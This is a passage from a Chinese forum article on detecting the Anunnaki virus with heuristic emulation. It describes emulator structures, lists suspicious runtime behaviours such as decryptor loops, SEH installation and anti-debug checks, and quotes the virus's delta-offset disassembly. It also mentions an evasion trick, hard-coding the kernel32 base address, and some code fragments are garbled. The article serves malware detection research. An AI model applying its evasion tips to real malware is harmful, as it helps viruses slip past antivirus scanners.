    定义32bit的通用寄存器    union Regsiter    {       u32_32;       u16_16;       struct _8       {          s8_l;          s8_h;       }    };
    仿真的cpu    struct E_CPU     {      struct Regsiter;      u8   Flag;        }
    仿真执行环境    struct E_EXEC_ENV    {       struct E_CPUcpu;       u8            mem;       u8            stack;       ...; 涉及到一些地址转换的变量    }       更详细的关于仿真方面内容请参考linxer《ring 3级32位x86 cpu仿真》.
2.执行时数据的跟踪
    可以在仿真器中,观察到如下情况    1-- 解析代码段,寻找跳向最后一个节的call,记录建立栈帧的地址addr_s    1-- 执行call后寄存器中出现小于addr_s的数值    2-- push imm32 /pop rx 为循环计数    3-- 存在连续内存操作    4-- 连续stack操作,之后decryptor执行完毕    5-- call 重定位操作    6-- 安装SEH,    7-- 操作fs:    8-- ...
    后面还有很多操作都足以引起扫描器的报警,如bpx的检测,anti-debug等,从启发式扫描器的效率角度考虑,对已经分析的操作做一个界定即可,不必对所有的行为全部都分析出来。分析的逻辑有两种,一种是权值分析,一种是关联逻辑。使用上只能是具体问题具体分析。
    Anunnaki 使用了大量的下面指令结构,也可以作为一种检测依据。
            00A02D73    E8 00000000   call 00A02D78            00A02D78    5E            pop esi            00A02D79    81C6 34B2BFFF   add esi,FFBFB234            00A02D7F    81C6 54204000   add esi,402054
            00A02D85    E8 00000000   call 00A02D8A            00A02D8A    59            pop ecx            00A02D8B    81C1 22B2BFFF   add ecx,FFBFB222            00A02D91    81C1 10000000   add ecx,10            
3.没有终结的对抗
    从vxer的角度讲,逃过aver检测技术的技术,总会在下一个时间出现,防御技术也总要修修补补。比如,完全不用考虑兼容性,不再费尽脑力的考虑如何获得kernel32 base的新方法,    而是直截了当的    moveax,; os version xp sp3    moveax,7c800000; 0s version xp sp2    这样硬编码即可,这样使得作为启发式检测的依据就又少了一些。同样,由vxer奇思妙想精心构造引擎,也可能在短时间内遭到aver封杀。     游戏只能这样玩下去...   
.其他
   由于病毒木马的制造环境因素,总会在下一个时间出现同家族的不同变种,或者新的病毒具有和以往家族相似的行为,这使得启发式技术始终处于未知病毒的防御状态,如何完善与丰富检测技术将是安全研究人员继续努力的方向。
附参考文献: Dark Prophet.《Anunnaki》 peter szor.《The Art of Computer Virus Research and Defense》 linxer      .《ring 3级32位x86 cpu仿真》
页: [1]
查看完整版本: 基于启发式技术检测复杂病毒Anunnaki